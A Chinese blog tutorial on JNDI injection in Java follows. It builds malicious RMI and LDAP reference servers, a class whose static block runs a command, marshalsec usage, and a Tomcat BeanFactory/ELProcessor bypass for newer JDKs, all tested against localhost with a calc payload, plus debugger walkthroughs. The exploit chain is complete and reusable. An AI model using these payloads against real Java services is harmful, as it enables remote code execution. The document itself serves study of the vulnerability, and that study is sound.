JNDI注入

图片不弄想了,可访问JNDI注入

什么是JNDI

Java命名目录接口(Java Naming and Directory Interface),作用是为JAVA应用程序提供命名和目录访问服务的API(application programming interface)。

可绑定的对象有哪些:

* 轻量级目录访问协议 (LDAP)
* 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
* Java 远程方法调用 (RMI) 注册表
* 域名服务 (DNS)

前三种都是支持一种字符串就绑定一种对象

注:这里JDNI注入就可以用到我们之前的RMI的知识了。之前一直不知道学了RMI有什么用,一直想着怎么利用RMI造成攻击来着,今天总算清楚点了,原来RMI是一个功能,并不是一个漏洞,他不能自己造成攻击,他需要配合其他的东西来造成攻击。

先来回顾一下RMI的简单流程:

起一个JNDIServer:

package org.example;

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;



public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}
代码逻辑:
1.创建注册中心
2.创建上下文容器
3.容器绑定服务

运行Client:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

如此就完成了最简单的Server端与Client端交互

现在假设这样一个场景:

在Client端允许我们控制​rmi://localhost:1099/remoteObj​,即lookup(Path)​的Path​。是否就可以做到起一个恶意服务来使得客户端允许恶意代码造成代码执行,如果可以这就造成了注入,这就是所谓的JNDI注入。

根据官方文档:

​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-chMBnMGF-1681998780508)(./…/images/JNDI注入/1.png)]​​
我们可以得到可以绑定的对象有:

1.Java可序列化对象
2.可引用对象和JNDI引用
3.具有属性的对象(DirContext)
4.RMI对象
5.CORBA对象

在上述示例中我们绑定的是RMI对象,但是通常我们所说的JNDI注入一般是绑定 引用对象 所造成的攻击
首先介绍一下 这个引用对象​`Reference类`​的构造函数:
public Reference(String className, RefAddr addr,
                     String factory, String factoryLocation) {
        this(className, addr);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }
className 类名
factory 工厂名
factoryLocation工厂路径

这个工厂就是具体的代码逻辑,允许代码执行,但是忽略了恶意代码执行,因此存在注入攻击

演示代码

JNDIServer:

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;



public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
//        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:9999/");

        initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
    }
}

注意​initialContext.rebind("rmi://localhost:1099/remoteObj", reference);​中是绑定到RMI服务上面,不是使用http协议

JNDIClient:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

然后预先编译好一个恶意类:(注意这个要加载的恶意类不能有package之类的,这样子到时候无法执行)

import java.io.IOException;

public class TestRef {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

演示步骤:

1.将编译好的恶意类放在一个目录下,并启动http服务:
python -m http.server 9999
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yu9DQMXX-1681998780509)(./…/images/JNDI注入/2.png)]​​
2.开启JNDIServer服务
3.允许Client
效果:
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mISLcm1G-1681998780509)(./…/images/JNDI注入/image-20230420202927-v7nlw3a.png)]​​

PS:这里没有报错是因为没有找到remote.sayHello

结论

如果​Client​端的lookup(Path)​的Path​我们可以控制就可以利用构造恶意引用对象达到恶意攻击Client​端

流程分析

这里的JNDI是怎么执行到这个恶意类的代码的,我们从lookup下个断点跟进去看看

这里调试可能会没有源码,因为这个问题卡了我半小时多快气死了给师傅们src.zip少走点弯路吧​src.zip

我们下断点开始调试:
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F3UQt6HI-1681998780511)(./…/images/JNDI注入/image-20230420204730-33aypz5.png)]​​
跟到lookup里面
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iWM8GlOg-1681998780511)(./…/images/JNDI注入/image-20230420204814-bpligtv.png)]​​
再跟到lookup里
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EA6Zn8ib-1681998780511)(./…/images/JNDI注入/image-20230420204859-syoxrl0.png)]​​
依旧跟到lookup里
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NB1HIWaB-1681998780511)(./…/images/JNDI注入/image-20230420204957-pkip3ht.png)]​​
到这一步可以看到获取到的是​obj​是ReferenceWrapper_Stub
这很奇怪,按理来说在服务端绑定的是​Reference​,

客户端查找服务为什么变成了ReferenceWrapper_Stub

这里我们可以从服务端调试一下
绑定的时候肯定没问题就是​Reference​类,那么出问题的地方肯定就是在rebind​那里了
下断点跟到​rebind​里调试,一样是一路跟进rebind,直到RegistryContext类
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GcRq9Jx7-1681998780512)(./…/images/JNDI注入/image-20230420205155-250j9cu.png)]​​
在这一步进行​encodeObject​之前他还是保持Reference​类
我们跟到​encodeObject​中去看一下
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-As0WsxY9-1681998780512)(./…/images/JNDI注入/image-20230420205307-u6e8nd0.png)]​​
可以看到这里检测如果obj是Reference类就爆他包装成ReferenceWrapper类返回
接下来我们回头看调用的时候
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ek1iaYAa-1681998780513)(./…/images/JNDI注入/image-20230420205403-yoxgilo.png)]​​
因为服务端包装的时候encode了,所以客户端解析的时候肯定decode一下,再跟进去看(可以猜到是相反的逻辑):
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a2o9lNWZ-1681998780514)(./…/images/JNDI注入/image-20230420205523-d5zj39a.png)]​​
可以看到是已经又返回成了​Reference​类
我们这里可以留意到我们还在​RegistryContext​里面并且即将退出RegistryContext​这个类这个类是RMI​对应这个RegistryContext​,但是还没有初始化,要到NamingManager​类中去。因此这里执行代码的逻辑和容器的环境并没有关系,并不是RMI才独有这个漏洞,这个后续绕过的时候会再次用到这个点。(后面高版本绕过还会提到)
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rTcSZ34x-1681998780514)(./…/images/JNDI注入/image-20230420205719-d4wjcu9.png)]​​
接下来到静态函数中发现这里会从引用中找到对象工厂,跟进去看他的逻辑
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dJJXjUkq-1681998780514)(./…/images/JNDI注入/image-20230420205738-pubxgt8.png)]​​
发现直接利用loadClass进行加载,再跟进去看看loadClass的逻辑
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8AXRpjkF-1681998780515)(./…/images/JNDI注入/image-20230420205749-s6x5jn1.png)]​​
首先​loadClass​要获取类加载器,发现这里的getConetxtClassloader()​获取不到类加载器,于是到下一个loadClass
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZUhgFaDt-1681998780515)(./…/images/JNDI注入/image-20230420205955-pduo887.png)]​​
可以看到这里是一个​AppclassLoader​,跟进去
发现他使用codebase去获取类加载器:

​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-je6Mlp6Q-1681998780515)(./…/images/JNDI注入/image-20230420205908-1yhgi3v.png)]​​
codebase就是我们传入的http服务
​​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bvZv1spd-1681998780516)(./…/images/JNDI注入/image-20230420210129-p6a3wyn.png)]​​​
这里利用了URLClassLoader来加载,那么就可以加载到我们的http服务的类
并且这里使用了newInstance,说明这里会对类进行初始化,所以如果我们把恶意代码写道静态代码块中,下一步就可以弹出计算器了,我们执行下一步:
​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7Pv969g3-1681998780516)(./…/images/JNDI注入/image-20230420210148-c353v8t.png)]​
可以看到弹出计算器了
就是是写在构造函数中的代码也可以得到执行,因为后续代码有​Class.forName(className, true, cl);​设置了true选项,会对类进行实例化,这样子构造函数中的恶意代码也可以得到执行
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BzKpJDH6-1681998780516)(./…/images/JNDI注入/image-20230420210431-i2ios88.png)]​​

小结

攻击面有两个方法:

1.原生RMI的漏洞问题
2.JNDI独有的引用问题,就是上面的分析流程产生的安全问题
[+]我们常说的JDNI注入就是第二个方法(引用)

版本(8u121​绕过

客户端还是很简单:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("ldap://localhost:8888/TestRef");
        System.out.println(remoteObj.sayHello("hello"));
    }
}
//8u141

环境先搭好,8u121之前就只剩下一个LDAP方式可以利用攻击了,所以要有一个LDAP服务器
推荐两种方式:

  1. 直接用Java代码生成一个,本地运行
package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.43.88/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

//记得添加依赖:
/*

    com.unboundid
    unboundid-ldapsdk
    3.1.1

*/
  1. 用github上的项目
    这里就用github上的项目了
    https://github.com/mbechler/marshalsec
    在本地打包成jar包之后就可以运行了
    打包完之后进入target项目,运行命令:
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888

这样子就算在本地起了一个LDAP服务了
含义:

监听8888端口,当接收到ldap请求后,会去​[http://localhost](http://localhost:80):9999这个服务下寻找TestRef.class

流程分析

流程演示

1.首先本地在恶意类这里开一个http服务,让LDAP接收
​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MjGulxlh-1681998780517)(./…/images/JNDI注入/3.png)]​​
2.然后把LDAP服务开起来:

java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888

​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OZDocoeo-1681998780517)(./…/images/JNDI注入/4.png)]​​
如果接收到http服务,这里会显示​Listening on 0.0.0.0:8888
运行效果:(8u141)
​​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qZdWfCgy-1681998780517)(./…/images/JNDI注入/image-20230420210922-zd6tblv.png)]​​​

代码分析

在​lookup​这里下个断点进去找
前面都一路跟着​lookup​,一直到c_lookup​进入到类ldapctx​里面
进入到一处:

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
                // serialized object or object reference
                obj = Obj.decodeObject(attrs);
            }

这里会获取ldap的属性,进入decodeObject,看一下他解析的逻辑:

String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
        try {
            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
                ClassLoader cl = helper.getURLClassLoader(codebases);
                return deserializeObject((byte[])attr.get(), cl);
            } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
            if (attr != null &&
                (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
                return decodeReference(attrs, codebases);
            }
            return null;
        } catch (IOException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }

我们知道JNDI支持:

  • 序列化对象 --> 对应deserializeObject((byte[])attr.get(), cl);
  • 远程对象 --> 对应decodeRmiObject((String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),(String)attr.get(), codebases);
  • ldap对象 --> 对应decodeReference(attrs, codebases);
    这里因为我们是一个引用对象,所以他会走到​decodeReference(attrs, codebases);
    在​decodeReference​这个里面呢主要就是获取恶意类的类名,地址之类的,解析完成:
    ​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-24ySLv3t-1681998780517)(./…/images/JNDI注入/image-20230420211053-jlru3o4.png)]​​
    现在有类名,地址,那么就是查找远程恶意类了
    ​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBfv4Qbp-1681998780517)(./…/images/JNDI注入/image-20230420211224-cci6pu0.png)]​​
    一直走到这个地方,这里是执行​DirectoryManager.getObjectInstance​。上次调试原生JNDI攻击的时候是调用的NamingManager.getObjectInstace​,都是这样通过调用getObjectInstance​方法走出自己类所对应的Context类
    然后走到工厂引用里面去找类:
    ​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SfvYik0c-1681998780517)(./…/images/JNDI注入/image-20230420211258-ma4sune.png)]​​
    后面的流程就都一样了
    loadclass:
    ​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OJXGLrYx-1681998780517)(./…/images/JNDI注入/image-20230420211308-cb51uc9.png)]​​
    使用URLLoadClass:
    ​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jMflMdBs-1681998780518)(./…/images/JNDI注入/image-20230420211408-ji2u4mm.png)]​​
    接下来forname实例化:
    ​​​[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rIq77tX1-1681998780518)(./…/images/JNDI注入/image-20230420211604-obywxjy.png)]​​​
    这个流程就和之前分析的一样了

高版本绕过(JDK>8u191)

前言

在8u191之后在LDAP那里也加了一个trustURLCodebase的判断,因此LDAP这一条路也被封死了。
因此现在LDAP、RMI等攻击手法都被封锁了。我们想要从远程加载类就变得异常困难,我们可以重新看一下代码的逻辑:
从本地尝试加载类->加载不到则从远程加载类
那么无法从远程加载类,是否可以从本机尝试加载这个类,并达到RCE的目的呢?
答案是有的,不过对客户端的环境有所需求,不过其实这个条件也不算是特别苛刻。因为这里用到的是tomcat内置的包,现在比较主流的Java网站不少都是使用springboot搭建的,而springboot内置的就是Tomcat

介绍

先来看一下关键先生:BeanFactory类 这个类就是可以利用的恶意类
这个类实现了ObjectFactory接口,ObjectFactory接口里面只有一个抽象方法:getObjectInstance

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable environment) throws Exception;
}

恶意类需满足的条件

只要远程加载地址​factoryClassLocation​为null时NamingManager.getObjectInstance​ 这个代码就会在com.sun.jndi.rmi.registry.RegistryContext.java​中运行
因为​RegistryContext​是RMI对应的利用类即利用RMI且不加载远程地址就会执行这个利用链。而NamingManager.getObjectInstance ​又会执行getObjectFactoryFromReference
getObjectFactoryFromReference ​这是一个静态方法,这个静态方法会返回ObjectFactory​类型,并且这里使用了newInstance构造,所以这个类还需要满足拥有无参构造方法
ObjectFactory​我们上面有提到是一个接口类,他只有一个抽象方法,getObjectFactory

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable environment) throws Exception;
}

而刚刚好​org.apache.naming.factory.BeanFactory​满足所有要求,在BeanFacory​中的getObjectInstance​可以精心构造,从而执行恶意代码。

但是若是想要执行这个恶意代码还需要一个​JavaBean​,JaveBean​需要满足的条件:
(1)​forceString​指定某个特殊方法名
RefAddr ra = ref.get("forceString");
(2)拥有无参构造方法
beanClass.newInstance()
(3)含有恶意方法

public class ELProcessor {
 public Object eval(String expression) {
        return this.getValue(expression, Object.class);
 }
}

运行流程

需要提前设置好pom的依赖:


    org.apache.tomcat
    tomcat-catalina
    8.5.0



    org.apache.el
    com.springsource.org.apache.el
    7.0.26

我这里Maven用的是阿里云的镜像,这个el文件加载不到,于是我下了一个jar包,然后导入进去就可以了
com.springsource.org.apache.el-7.0.26.jar
RMIServer端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class LDAPServer {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
}

RMIClient端:

package org.example;

import javax.naming.InitialContext;

public class RmiClient {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:1099/Object");
    }
}

运行结果:

流程分析

一路跟进lookup直到​RegistryContext​的decodeObject​中
不加载远程类进入​NamingManager
进入​NamingManager​之后是调用BeanFactory​的getObjectInstance
46行加载恶意的​JavaBean​类ELProcessor
58行获取​forceString​的属性,即x=eval
这一步可以使得强制将bean对象某个属性的setter方法名指定为非setXXX()。从而就算不用使用setxxx()的方法也可以传入beanClas.getMethod()中,这样就可以成功把我们恶意的代码放到hashMap中。
再通过我们第二个add的元素x来作为方法名反射获取一个参数类型是 ​​String.class​的方法
后面反射调用就成功执行恶意代码了

踩的坑

坑1

RMIServer端代码有问题:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;

public class LDAPServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "",
                true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        initialContext.rebind("rmi://127.0.0.1:1099/exp", resourceRef);
        System.out.println("Creating evil RMI registry on port 1099");
    }
}

报错:

Exception in thread "main" javax.naming.NamingException: Forced String setter eval threw exception for property x
	at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:215)
	at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at org.example.RmiClient.main(RmiClient.java:7)

原因chatgpt说是:

这段代码中创建的ResourceRef对象中的攻击代码也不同于之前的代码。
它使用了Java的反射机制动态加载并执行了一个JavaScript脚本,以触发远程命令执行。这种方式比之前代码中的攻击代码更灵活和可移植,
因为JavaScript引擎是Java标准库的一部分,不依赖于特定的JDK实现或其他依赖项。

因此,这段代码可以在大多数JDK版本中运行,并且具有更好的可移植性和灵活性,可以更容易地触发远程命令执行。

坑2

试图使用SpringBoot启动,因为​SpringBoot​自带tomcat。但是现在新建的SpringBoot​的Tomcat​的版本都是9.x,而这个漏洞在Tomcat版本8.5.85已经被修复了,如果试图修改SpringBoot​内置的tomcat​也有办法,但是麻烦麻烦麻烦。

如果打高版本的​Tomcat​就会出现如下报错信息:

四月 14, 2023 12:17:31 下午 org.apache.naming.factory.BeanFactory getObjectInstance
警告: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
	at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
	at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.example.demospring.RMIClient.main(RMIClient.java:10)

你可能感兴趣的:(Java安全,java,开发语言,web安全,安全)